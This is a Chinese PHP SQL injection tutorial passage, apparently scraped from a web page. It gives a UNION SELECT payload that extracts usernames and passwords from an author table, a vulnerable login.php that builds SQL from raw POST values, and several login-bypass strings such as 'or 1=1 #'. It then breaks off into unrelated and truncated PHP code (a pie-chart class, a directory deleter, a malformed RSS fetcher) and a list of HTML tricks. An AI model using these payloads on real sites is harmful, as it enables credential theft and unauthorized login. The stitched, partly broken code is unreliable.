php注入2

我们构建注入语句吧
在输入框输入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql语句中成了
select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
结果如图17哦
怎么样，出来了吧，哈哈，一切尽在掌握之中。
C：下面我们从注入地点上在来看一下各种注入攻击方式
1)      首先来看看后台登陆哦
代码先
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "后台登陆成功";
}
esle
{
echo "重新登陆"；
exit；
｝
.........
?>
Username和password没有经过任何处理直接放到sql中执行了。
看看我们怎么绕过呢？
最经典的还是那个：
在用户名和密码框里都输入
'or =
带入sql语句中成了
select * from alphaauthor where UserName= or = and Password= or =
这样带入得到的$data肯定为真，也就是我们成功登陆了。
还有其他的绕过方法，原理是一样的，就是想办法让$data返回是真就可以了。
我们可以用下面的这些中方法哦
1.
用户名和密码都输入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a
2.
用户名和密码都输入 or 1=1 and ' =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ' =
and Password= or 1=1 and ' =
用户名和密码都输入 or 2>1 and ' =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3.
用户名输入 or 1=1 # 密码随便输入
Sql成了
select * from alphaauthor where UserName= or 1＝1 # and
Password= anything
后面部分被注释掉了，当然返回还是真哦。
     4.
<?php
//公用函数
//把角度转换为弧度
function deg2Arc($degrees) {
return($degrees * (pi()/180.0));
}
//RGB
function getRGB($color){
$R=($color>>16) & 0xff;
$G=($color>>8) & 0xff;
$B=($color) & 0xff;
return (array($R,$G,$B));
}
// 取得在椭圆心为（0，0）的椭圆上 x,y点的值
function pie_point($deg,$va,$vb){
$x= cos(deg2Arc($deg)) * $va;
$y= sin(deg2Arc($deg)) * $vb;
return (array($x, $y));
}
//3D饼图类
class Pie3d{
var $a; //椭圆长半轴
var $b; //椭圆短半轴
var $DataArray; //每个扇形的数据
var $ColorArray; //每个扇形的颜色 要求按照十六进制书写但前面不加0x
//为边缘及阴影为黑色
function Pie3d($pa=100,$pb=60,$sData="100,200,300,400,500", $sColor="ee00ff,dd0000,cccccc,ccff00,00ccff")
{
$this->a=$pa;
$this->b=$pb;
$this->DataArray=split(",",$sData);
$this->ColorArray=split(",",$sColor);
}
function setA($v){
$this->a=$v;
}
function getA(){
return $this->a;
}
function setB($v){
$this->b=$v;
}
function getB(){
return $this->b;
}
function setDataArray($v){
$this->DataArray=split(",",$v);
}
function getDataArray($v){
return $this->DataArray;
}
function setColorArray($v){
$this->ColorArray=split(",",$v);
}
function getColorArray(){
return $this->ColorArray;
}

function DrawPie(){
$image=imagecreate($this->a*2+40,$this->b*2+40);
$PieCenterX=$this->a+10;
$PieCenterY=$this->b+10;
$DoubleA=$this->a*2;
$DoubleB=$this->b*2;
list($R,$G,$B)=getRGB(0);
$colorBorder=imagecolorallocate($image,$R,$G,$B);
<?php
    /**
     * c_function::dir_delete()
     * 删除目录
     * @param $file 目录名(不带/)
     * @return
     */
     function dir_delete($file)
     {
        if(file_exists($file))
        {
       if(is_dir($file))
       {
           $handle =opendir($file);
           while(false!==($filename=readdir($handle)))
           {
          if($filename!="."&&$filename!="..")$this->dir_delete($file."/".$filename);
           }
           closedir($handle);
           rmdir($file);
           return true;
       }
       else
       {
           unlink($file);
       }
        }
    }
?>
<?php
function my_headlines($url) {
      $rdf = parse_url($url);
      $fp = fsockopen($rdf['host'], 80, $errno, $errstr, 15);
      if (!$fp) {
     $content = "<font class="content">Problema!</font>";
     return;
      }
      if ($fp) {
     fputs($fp, "GET " . $rdf['path'] . "?" . $rdf['query'] . " HTTP/1.0 ");
     fputs($fp, "HOST: " . $rdf['host'] . " ");
     $string = "";
     while(!feof($fp)) {
     $pagetext = fgets($fp,300);
     $string .= chop($pagetext);
 }
 fputs($fp,"Connection: close ");
 fclose($fp);
 $items = explode("</item>",$string);
 $content = "<font class="content">";
 for ($i=0;$i<10;$i++) {
     $link = ereg_replace(".*<link>","",$items[$i]);
     $link = ereg_replace("</link>.*","",$link);
     $title2 = ereg_replace(".*<title>","",$items[$i]);
     $title2 = ereg_replace("</title>.*","",$title2);
     if ($items[$i] == "") {
         $content = "";
         return;
     } else {
         if (strcmp($link,$title)) {
    　　 $cont = 1;
      $content .= "<img src="images/arrow.gif" border="0" hspace="5"><a href="$link" target="new">$title2</a><br> ";
    }
     }
 }
      }
      echo "$content";
}
my_headlines
?>
收集的精典代码
1. oncontextmenu="window.event.return＆#118alue=false" 将彻底屏蔽鼠标右键
<table border oncontextmenu=return(false)><td>no</table> 可用于Table
2. <body onselectstart="return false"> 取消选取、防止复制
3. onpaste="return false" 不准粘贴
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图标
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显示出你的图标
7. <input style="ime-mode:Disabled"> 关闭输入法
8. 永远都会带着框架
<script language="＆#106avascript"><!--
if (window == top)top.location.href = "frames.htm"; file＆#58//frames.htm为框架网页
// --></script>
9. 防止被人frame
<SCRIPT LANGUAGE=＆#106avascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10. <noscript><iframe src=*.html></iframe></noscript> 网页将不能被另存为
11. <input type=button ＆#118alue=查看网页源代码
＆#111nclick="window.location = 'view-source:'+ 'http://www.111cn.net/&#39;">
12. 怎样通过asp的手段来检查来访者是否用了代理
<% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器，"& _
"真实的IP为"&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>
13. 取得控件的绝对位置
file＆#58//＆#106avascript
<script language="＆#106avascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+" left="+l);
}
</script>
file＆#58//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1